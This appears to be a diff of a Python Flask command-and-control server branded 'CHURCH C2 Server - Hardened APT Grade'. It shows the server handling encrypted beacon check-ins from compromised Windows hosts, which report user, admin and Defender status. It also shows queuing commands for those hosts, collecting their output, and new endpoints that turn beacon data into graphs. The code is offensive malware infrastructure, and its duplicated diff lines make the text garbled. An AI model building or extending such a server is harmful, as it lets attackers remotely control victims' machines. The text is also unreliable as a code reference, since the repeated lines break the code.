logging.info(f"BEACON: {beacon.computer_name}\\{beacon.username} | Admin: {beacon.is_admin} | Defender: {beacon.defender_status}") logging.info(f"BEACON: {beacon.computer_name}\\{beacon.username} | Admin: {beacon.is_admin} | Defender: {beacon.defender_status}")
pending_tasks = beacon_manager.get_pending_tasks(beacon.beacon_id) pending_tasks = beacon_manager.get_pending_tasks(beacon.beacon_id)
if pending_tasks: if pending_tasks:
task = pending_tasks[0] task = pending_tasks[0]
response = json.dumps({ response = json.dumps({
@@ -845,7 +846,7 @@ def beacon_handler():
}) })
else: else:
response = json.dumps({"task_id": 0, "command": "", "args": "", "ps": False}) response = json.dumps({"task_id": 0, "command": "", "args": "", "ps": False})
encrypted_response = CryptoManager.encrypt_aes(response.encode()) encrypted_response = CryptoManager.encrypt_aes(response.encode())
socketio.emit('beacon_update', {'beacon_id': beacon.beacon_id}) socketio.emit('beacon_update', {'beacon_id': beacon.beacon_id})
return encrypted_response, 200, {'Content-Type': 'application/octet-stream'} return encrypted_response, 200, {'Content-Type': 'application/octet-stream'}
@@ -857,20 +858,20 @@ def task_result():
data = request.form.get('d') or request.form.get('data') data = request.form.get('d') or request.form.get('data')
if not data: if not data:
return "No data", 400 return "No data", 400
try: try:
decrypted = CryptoManager.decrypt_aes(data) decrypted = CryptoManager.decrypt_aes(data)
result_data = json.loads(decrypted.decode()) result_data = json.loads(decrypted.decode())
except: except:
return "Bad data", 400 return "Bad data", 400
task_id = result_data.get('task_id', 0) task_id = result_data.get('task_id', 0)
output = result_data.get('output', '') output = result_data.get('output', '')
if task_id: if task_id:
beacon_manager.mark_task_completed(task_id, output) beacon_manager.mark_task_completed(task_id, output)
socketio.emit('task_result', {'task_id': task_id, 'output': output}) socketio.emit('task_result', {'task_id': task_id, 'output': output})
return "OK", 200 return "OK", 200
@app.route('/api/beacons', methods=['GET']) @app.route('/api/beacons', methods=['GET'])
@@ -896,16 +897,16 @@ def api_add_task():
data = request.json data = request.json
if not data or 'host' not in data or 'command' not in data: if not data or 'host' not in data or 'command' not in data:
return jsonify({"error": "Missing host or command"}), 400 return jsonify({"error": "Missing host or command"}), 400
beacon = None beacon = None
for b in beacon_manager.get_all_beacons(): for b in beacon_manager.get_all_beacons():
if b.beacon_id == data['host'] or b.computer_name == data['host']: if b.beacon_id == data['host'] or b.computer_name == data['host']:
beacon = b beacon = b
break break
if not beacon: if not beacon:
return jsonify({"error": "Beacon not found"}), 404 return jsonify({"error": "Beacon not found"}), 404
task_id = beacon_manager.add_task( task_id = beacon_manager.add_task(
beacon.beacon_id, beacon.beacon_id,
data['command'], data['command'],
@@ -945,6 +946,183 @@ def api_stats():
"version": VERSION "version": VERSION
}) })
# ==================== C2 PARSER (NEW) ====================
class LanternCompatibilityParser:
"""
Bridges CHURCH C2 format to Lantern.js graph format.
Converts beacon data to graph nodes/edges for visualization.
"""
@staticmethod
def beacon_to_graph(beacon_data: dict) -> dict:
"""Convert beacon data to Lantern.js graph format"""
nodes = []
edges = []
environments = {}
# Extract environment info
env_id = f"env_{beacon_data.get('computer', '').lower()}"
hostname = beacon_data.get('computer', 'unknown')
# Build environment node
env_node = {
"id": env_id,
"type": "environment",
"label": hostname,
"info": {
"hostname": hostname,
"username": beacon_data.get('user', ''),
"os": beacon_data.get('os', 'Unknown'),
"admin": beacon_data.get('admin', False),
"pid": beacon_data.get('pid', 0),
"defender_status": beacon_data.get('defender', 2),
"source": "c2",
"has_nmap": False,
"enabled": True,
},
"status": "online" if beacon_data.get('last_seen') else "stale",
"default_tags": [hostname, beacon_data.get('user', '')]
}
nodes.append(env_node)
# Store in environments dict for the graph
environments[env_id] = {
"hostname": hostname,
"source": "c2",
"data": {
"health": {
"hostname": hostname,
"os": beacon_data.get('os', 'Unknown'),
"username": beacon_data.get('user', ''),
"process_count": 1,
}
},
"scan": {
"metadata": {
"total_processes": 1,
"total_listeners": 0,
},
"nodes": []
}
}
# Add process nodes if available
processes = beacon_data.get('processes', [])
for proc in processes[:20]: # Limit for performance
proc_id = f"{env_id}__proc_{proc.get('pid', 'unknown')}"
proc_node = {
"id": proc_id,
"type": "process",
"label": proc.get('name', 'unknown'),
"info": {
"pid": proc.get('pid'),
"username": proc.get('user'),
"cpu": proc.get('cpu'),
"memory": proc.get('memory'),
},
"_envId": env_id
}
nodes.append(proc_node)
edges.append({
"source": env_id,
"target": proc_id,
"type": "ownership",
"label": ""
})
return {
"nodes": nodes,
"edges": edges,
"environments": environments,
"metadata": {
"total_environments": 1,
"timestamp": beacon_data.get('timestamp', '')
}
}
@staticmethod
def result_to_event(result_data: dict) -> dict:
"""Convert command result to audit event"""
return {
"event_type": "task_result",
"category": "task",
"detail": f"Task {result_data.get('task_id', '?')} completed",
"timestamp": result_data.get('timestamp'),
"source": "c2_beacon",
"data": result_data
}
# New parser routes
@app.route('/api/beacon/parse', methods=['POST'])
@limiter.limit("10 per minute")
def parse_beacon():
"""Parse raw beacon data without storing it."""
data = request.form.get('d') or request.form.get('data')
if not data:
return jsonify({"error": "No data"}), 400
try:
decrypted = CryptoManager.decrypt_aes(data)
beacon_data = json.loads(decrypted.decode())
except Exception as e:
logging.error(f"Parse decrypt failed: {e}")
return jsonify({"error": "Decryption failed"}), 400
graph_data = LanternCompatibilityParser.beacon_to_graph(beacon_data)
return jsonify({
"beacon": beacon_data,
"graph": graph_data
})
@app.route('/api/beacon/graph', methods=['POST'])
@limiter.limit("10 per minute")
def beacon_to_graph():
"""Direct endpoint to convert beacon to graph for Lantern.js."""
data = request.form.get('d') or request.form.get('data')
if not data:
return jsonify({"error": "No data"}), 400
try:
decrypted = CryptoManager.decrypt_aes(data)
beacon_data = json.loads(decrypted.decode())
except Exception as e:
logging.error(f"Graph decrypt failed: {e}")
return jsonify({"error": "Decryption failed"}), 400
graph_data = LanternCompatibilityParser.beacon_to_graph(beacon_data)
return jsonify(graph_data)
@app.route('/api/beacon/result/parse', methods=['POST'])
@limiter.limit("10 per minute")
def parse_result():
"""Parse command result output."""
data = request.form.get('d') or request.form.get('data')
if not data:
return jsonify({"error": "No data"}), 400
try:
decrypted = CryptoManager.decrypt_aes(data)
result_data = json.loads(decrypted.decode())
except Exception as e:
logging.error(f"Result parse decrypt failed: {e}")
return jsonify({"error": "Decryption failed"}), 400
event = LanternCompatibilityParser.result_to_event(result_data)
# Store in audit log
conn = sqlite3.connect(DATABASE_PATH)
c = conn.cursor()
c.execute(
"INSERT INTO audit_log (username, action, target, timestamp, ip_address) VALUES (?, ?, ?, ?, ?)",
("system", event['detail'], str(result_data.get('task_id', '0')), time.time(), request.remote_addr)
)
conn.commit()
conn.close()
return jsonify({
"result": result_data,
"event": event
})
# ==================== WEBSOCKET EVENTS ==================== # ==================== WEBSOCKET EVENTS ====================
@socketio.on('connect') @socketio.on('connect')
def handle_connect(): def handle_connect():
@@ -960,7 +1138,7 @@ class C2Logger:
def __init__(self, log_path: str): def __init__(self, log_path: str):
self.log_path = log_path self.log_path = log_path
self._setup_logging() self._setup_logging()
def _setup_logging(self): def _setup_logging(self):
logging.basicConfig( logging.basicConfig(
level=logging.INFO, level=logging.INFO,
@@ -970,13 +1148,13 @@ class C2Logger:
logging.StreamHandler(sys.stdout) logging.StreamHandler(sys.stdout)
] ]
) )
def log_beacon(self, beacon_id: str, action: str, details: str = ""): def log_beacon(self, beacon_id: str, action: str, details: str = ""):
logging.info(f"BEACON[{beacon_id}] {action}: {details}") logging.info(f"BEACON[{beacon_id}] {action}: {details}")
def log_task(self, beacon_id: str, task: str): def log_task(self, beacon_id: str, task: str):
logging.info(f"TASK[{beacon_id}] {task}") logging.info(f"TASK[{beacon_id}] {task}")
def log_error(self, error: str): def log_error(self, error: str):
logging.error(f"ERROR: {error}") logging.error(f"ERROR: {error}")
@@ -995,34 +1173,44 @@ def cleanup_old_beacons():
# ==================== MAIN ==================== # ==================== MAIN ====================
def main(): def main():
global beacon_manager
parser = argparse.ArgumentParser(description='CHURCH C2 Server - Hardened APT Grade') parser = argparse.ArgumentParser(description='CHURCH C2 Server - Hardened APT Grade')
parser.add_argument('--host', default='0.0.0.0', help='Bind address') parser.add_argument('--host', default='0.0.0.0', help='Bind address')
parser.add_argument('--port', type=int, default=443, help='Bind port (HTTPS only)') parser.add_argument('--port', type=int, default=443, help='Bind port (HTTPS only)')
parser.add_argument('--cert', default=SSL_CERT, help='SSL certificate path') parser.add_argument('--cert', default=SSL_CERT, help='SSL certificate path')
parser.add_argument('--key', default=SSL_KEY, help='SSL key path') parser.add_argument('--key', default=SSL_KEY, help='SSL key path')
args = parser.parse_args() args = parser.parse_args()
# Initialize # Initialize database FIRST
init_database() init_database()
# Now instantiate beacon manager (tables exist)
beacon_manager = BeaconManager()
os.makedirs(DOWNLOAD_PATH, exist_ok=True) os.makedirs(DOWNLOAD_PATH, exist_ok=True)
os.makedirs(PLUGIN_PATH, exist_ok=True) os.makedirs(PLUGIN_PATH, exist_ok=True)
# Start cleanup thread # Start cleanup thread
cleanup_thread = threading.Thread(target=cleanup_old_beacons, daemon=True) cleanup_thread = threading.Thread(target=cleanup_old_beacons, daemon=True)
cleanup_thread.start() cleanup_thread.start()
print(""" print("""
╔═══════════════════════════════════════════════════════════════╗ ╔═══════════════════════════════════════════════════════════════╗
║ CHURCH C2 SERVER v2.1 ║ ║ CHURCH C2 SERVER v2.1 ║
║ by ek0ms savi0r ║ ║ by ek0ms savi0r ║
╚═══════════════════════════════════════════════════════════════╝ ╚═══════════════════════════════════════════════════════════════╝
""") """)
print(f"[*] Starting C2 server on {args.host}:{args.port} (HTTPS only)") print(f"[*] Starting C2 server on {args.host}:{args.port} (HTTPS only)")
print(f"[*] Web UI: https://{args.host}:{args.port}") print(f"[*] Web UI: https://{args.host}:{args.port}")
print(f"[*] API Key (for external tools): {JWT_SECRET}") print(f"[*] API Key (for external tools): {JWT_SECRET}")
print(f"[*] Admin login: {ADMIN_USERNAME} (use password from config/env or random printed above)") print(f"[*] Admin login: {ADMIN_USERNAME} (use password from config/env or random printed above)")
print("[*] Parser endpoints added:")
print(" POST /api/beacon/parse - Parse raw beacon to JSON + graph")
print(" POST /api/beacon/graph - Convert to Lantern.js graph format")
print(" POST /api/beacon/result/parse - Parse command results")
socketio.run(app, host=args.host, port=args.port, ssl_context=(args.cert, args.key), debug=False) socketio.run(app, host=args.host, port=args.port, ssl_context=(args.cert, args.key), debug=False)
if __name__ == '__main__': if __name__ == '__main__':